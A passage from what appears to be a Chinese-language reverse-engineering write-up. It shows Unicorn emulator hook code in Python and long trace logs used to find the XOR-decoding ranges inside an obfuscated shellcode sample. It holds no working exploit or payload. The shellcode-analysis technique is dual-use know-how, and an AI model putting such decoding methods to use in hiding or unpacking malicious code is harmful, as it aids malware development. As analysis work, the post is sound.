class="number">0x0D</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x23</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x34</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x49</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x43</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x28</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x30</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x33</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x4A</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x0B</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x4B</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x32</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x24</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x51</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x4D</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x64</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x5A</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x3A</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x04</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x26</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x35</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x46</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x60</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x11</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x07</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x3E</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x45</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x2A</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x19</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x4E</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x22</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x5F</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x25</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x41</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x53</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x2C</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x09</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x3C</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x1E</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x14</span></span><br></pre></td></tr></table></figure><p>接下來要取得xor會從哪裡到哪裡，在shellcode中是使用mov esi XXX 以及cmp ecx YYY ，代表XXX 到YYY 進行xor</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">hook_mov_esi</span>(<span class="params">uc, address, size, user_data</span>):</span><br><span class="line">    <span class="comment"># 读出当前指令的机器码</span></span><br><span class="line">    <span class="keyword">global</span> cmp_collet</span><br><span class="line">    mc = uc.mem_read(address, size)</span><br><span class="line">    <span class="comment"># 机器码前 1 字节是 0xBE (mov esi, imm32)，后面 4 字节是 little-endian 的 imm32</span></span><br><span class="line">    <span class="keyword">if</span> mc[<span class="number">0</span>] == <span class="number">0xBE</span>:</span><br><span class="line">        imm = <span class="built_in">int</span>.from_bytes(mc[<span class="number">1</span>:<span class="number">5</span>], <span class="string">&#x27;little&#x27;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[HOOK MOV] @0x<span class="subst">&#123;address:08x&#125;</span>: mov esi, <span class="subst">&#123;<span class="built_in">hex</span>(imm)&#125;</span>&quot;</span>)</span><br><span class="line">        cmp_collet = <span class="literal">False</span></span><br><span class="line">    <span class="keyword">if</span> mc[<span class="number">0</span>] == <span class="number">0xB9</span>:</span><br><span class="line">        imm = <span class="built_in">int</span>.from_bytes(mc[<span class="number">1</span>:<span class="number">5</span>], <span class="string">&#x27;little&#x27;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[HOOK MOV] @0x<span class="subst">&#123;address:08x&#125;</span>: mov esi, <span class="subst">&#123;<span class="built_in">hex</span>(imm)&#125;</span>&quot;</span>)</span><br><span class="line">        cmp_collet = <span class="literal">False</span></span><br><span class="line">    <span class="keyword">if</span> mc[<span class="number">0</span>] == <span class="number">0xBF</span>:</span><br><span class="line">        imm = <span class="built_in">int</span>.from_bytes(mc[<span class="number">1</span>:<span class="number">5</span>], <span class="string">&#x27;little&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span>(imm != <span class="number">0x2f</span>):</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;[HOOK MOV] @0x<span class="subst">&#123;address:08x&#125;</span>: mov esi, <span class="subst">&#123;<span class="built_in">hex</span>(imm)&#125;</span>&quot;</span>)</span><br><span class="line">            cmp_collet = <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">hook_cmp_esi</span>(<span class="params">uc, address, size, user_data</span>):</span><br><span class="line">    <span class="keyword">global</span> cmp_collet</span><br><span class="line">    mc = uc.mem_read(address, size)</span><br><span class="line">    <span class="keyword">if</span>(cmp_collet == <span class="literal">True</span>):</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line">    <span class="comment"># cmp esi, imm8 的编码是 0x83 0xFE imm8</span></span><br><span class="line">    <span class="keyword">if</span> mc[<span class="number">0</span>] == <span class="number">0x83</span> <span class="keyword">and</span> mc[<span class="number">1</span>] == <span class="number">0xFE</span>:</span><br><span class="line">        imm8 = mc[<span class="number">2</span>]</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[HOOK CMP] @0x<span class="subst">&#123;address:08x&#125;</span>: cmp esi, <span class="subst">&#123;<span class="built_in">hex</span>(imm8)&#125;</span>&quot;</span>)</span><br><span class="line">        cmp_collet = <span class="literal">True</span></span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line">    <span class="keyword">if</span> mc[<span class="number">0</span>] == <span class="number">0x83</span> <span class="keyword">and</span> mc[<span class="number">1</span>] == <span class="number">0xf9</span>:</span><br><span class="line">        imm8 = mc[<span class="number">2</span>]</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[HOOK CMP] @0x<span class="subst">&#123;address:08x&#125;</span>: cmp esi, <span class="subst">&#123;<span class="built_in">hex</span>(imm8)&#125;</span>&quot;</span>)</span><br><span class="line">        cmp_collet = <span class="literal">True</span></span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line">mu.hook_add(UC_HOOK_CODE, hook_mov_esi, <span class="literal">None</span>, <span class="number">1</span>, <span class="number">0</span>, UC_X86_INS_CPUID)</span><br><span class="line">mu.hook_add(UC_HOOK_CODE, hook_cmp_esi, <span class="literal">None</span>, <span class="number">0x1000380</span>, ADDRESS_CODE + CODE_SIZE, UC_X86_INS_CPUID)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br></pre></td><td class="code"><pre><span class="line">[HOOK MOV] @<span class="number">0x010013fc</span>: mov esi, <span class="number">0x28</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01001416</span>: cmp esi, <span class="number">0x51</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x61</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01001427</span>: mov esi, <span class="number">0x20</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01001443</span>: cmp esi, <span class="number">0x41</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x10</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000a7f</span>: mov esi, <span class="number">0x18</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000a99</span>: cmp esi, <span class="number">0x31</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x37</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000eae</span>: mov esi, <span class="number">0x24</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000ec8</span>: cmp esi, <span class="number">0x49</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x1F</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010007c4</span>: mov esi, <span class="number">0x1d</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010007de</span>: cmp esi, <span class="number">0x3b</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x31</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000589</span>: mov esi, <span class="number">0x12</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x0100058e</span>: mov esi, <span class="number">0xae4c415d</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010005b6</span>: cmp esi, <span class="number">0x25</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x13</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010009f2</span>: mov esi, <span class="number">0xd</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000a0c</span>: cmp esi, <span class="number">0x1b</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x56</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010008a9</span>: mov esi, <span class="number">0x24</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010008c3</span>: cmp esi, <span class="number">0x49</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x54</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010010b0</span>: mov esi, <span class="number">0xb</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010010ca</span>: cmp esi, <span class="number">0x17</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010010d1</span>: mov esi, <span class="number">0x2e</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000654</span>: mov esi, <span class="number">0x1d</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x0100066e</span>: cmp esi, <span class="number">0x3b</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x2D</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01001487</span>: mov esi, <span class="number">0x18</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010014a1</span>: cmp esi, <span class="number">0x31</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x36</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010004a6</span>: mov esi, <span class="number">0x1f</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010004ab</span>: mov esi, <span class="number">0xae4c415d</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010004d4</span>: cmp esi, <span class="number">0x3f</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x12</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01001286</span>: mov esi, <span class="number">0x15</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010012a0</span>: cmp esi, <span class="number">0x2b</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x40</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01001052</span>: mov esi, <span class="number">0xe</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x0100106c</span>: cmp esi, <span class="number">0x1d</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x0E</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000d5b</span>: mov esi, <span class="number">0x2a</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000d75</span>: cmp esi, <span class="number">0x55</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x39</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000f3b</span>: mov esi, <span class="number">0x14</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000f55</span>: cmp esi, <span class="number">0x29</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x0F</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010005cb</span>: mov esi, <span class="number">0xb</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010005e5</span>: cmp esi, <span class="number">0x17</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x03</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010011f9</span>: mov esi, <span class="number">0x6</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01001213</span>: cmp esi, <span class="number">0xd</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x27</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000db9</span>: mov esi, <span class="number">0x1a</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000dd3</span>: cmp esi, <span class="number">0x35</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x18</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010007af</span>: cmp esi, <span class="number">0x31</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x58</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010010df</span>: mov esi, <span class="number">0x18</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010010f9</span>: cmp esi, <span class="number">0x31</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x3B</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x0100136f</span>: mov esi, <span class="number">0x1d</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01001389</span>: cmp esi, <span class="number">0x3b</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x55</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x0100076b</span>: mov esi, <span class="number">0x1d</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000785</span>: cmp esi, <span class="number">0x3b</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x48</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000936</span>: mov esi, <span class="number">0xe</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000950</span>: cmp esi, <span class="number">0x1d</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x0A</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x0100081b</span>: mov esi, <span class="number">0x3</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000820</span>: mov esi, <span class="number">0x2f</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000836</span>: cmp esi, <span class="number">0x7</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x1C</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01001257</span>: mov esi, <span class="number">0x18</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01001271</span>: cmp esi, <span class="number">0x31</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x1B</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010008d8</span>: mov esi, <span class="number">0x8</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010008f2</span>: cmp esi, <span class="number">0x11</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x2F</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000ca7</span>: mov esi, <span class="number">0x8</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000cc1</span>: cmp esi, <span class="number">0x11</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x5C</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01001228</span>: mov esi, <span class="number">0x29</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01001242</span>: cmp esi, <span class="number">0x53</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x20</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010003b0</span>: mov esi, <span class="number">0xb</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010003b5</span>: mov esi, <span class="number">0xae4c415d</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010003e1</span>: cmp esi, <span class="number">0x17</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x2B</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010006e1</span>: mov esi, <span class="number">0xd</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010006fb</span>: cmp esi, <span class="number">0x1b</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x50</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010005f9</span>: mov esi, <span class="number">0x12</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000613</span>: cmp esi, <span class="number">0x25</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x44</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010015c7</span>: mov esi, <span class="number">0xe</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010015e1</span>: cmp esi, <span class="number">0x1d</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x2E</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01001597</span>: mov esi, <span class="number">0x19</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x0100159c</span>: mov esi, <span class="number">0x2f</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010015b2</span>: cmp esi, <span class="number">0x33</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x1D</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000a21</span>: mov esi, <span class="number">0x2</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000a3b</span>: cmp esi, <span class="number">0x5</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x5E</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010014b2</span>: mov esi, <span class="number">0x17</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010014b7</span>: mov esi, <span class="number">0x2f</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010014cd</span>: cmp esi, <span class="number">0x2f</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x21</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01001540</span>: mov esi, <span class="number">0x11</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x0100155a</span>: cmp esi, <span class="number">0x23</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x47</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000cd6</span>: mov esi, <span class="number">0x28</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000cf0</span>: cmp esi, <span class="number">0x51</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x17</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x0100073c</span>: mov esi, <span class="number">0x11</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000756</span>: cmp esi, <span class="number">0x23</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x01</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000994</span>: mov esi, <span class="number">0x4</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010009ae</span>: cmp esi, <span class="number">0x9</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x52</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01001625</span>: mov esi, <span class="number">0x15</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x0100163f</span>: cmp esi, <span class="number">0x2b</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x3F</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x0100110e</span>: mov esi, <span class="number">0x16</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01001128</span>: cmp esi, <span class="number">0x2d</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x16</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000683</span>: mov esi, <span class="number">0x2b</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x0100069d</span>: cmp esi, <span class="number">0x57</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x4C</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010012e0</span>: mov esi, <span class="number">0x20</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010012fc</span>: cmp esi, <span class="number">0x41</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x0D</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000429</span>: mov esi, <span class="number">0x13</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x0100042e</span>: mov esi, <span class="number">0xae4c415d</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000456</span>: cmp esi, <span class="number">0x27</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x23</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000edd</span>: mov esi, <span class="number">0xc</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000ef7</span>: cmp esi, <span class="number">0x19</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x34</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x0100070c</span>: mov esi, <span class="number">0x2d</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000711</span>: mov esi, <span class="number">0x2f</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000727</span>: cmp esi, <span class="number">0x5b</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x49</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000907</span>: mov esi, <span class="number">0x24</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000921</span>: cmp esi, <span class="number">0x49</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x43</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000f66</span>: mov esi, <span class="number">0x23</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000f6b</span>: mov esi, <span class="number">0x2f</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000f81</span>: cmp esi, <span class="number">0x47</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x28</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000b64</span>: mov esi, <span class="number">0x16</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000b7e</span>: cmp esi, <span class="number">0x2d</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x30</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000c78</span>: mov esi, <span class="number">0x2b</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000c92</span>: cmp esi, <span class="number">0x57</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x33</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010014e2</span>: mov esi, <span class="number">0x18</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010014fc</span>: cmp esi, <span class="number">0x31</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x4A</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000624</span>: mov esi, <span class="number">0x1b</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000629</span>: mov esi, <span class="number">0x2f</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x0100063f</span>: cmp esi, <span class="number">0x37</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x0B</span></span><br><span class="line">[HOOK 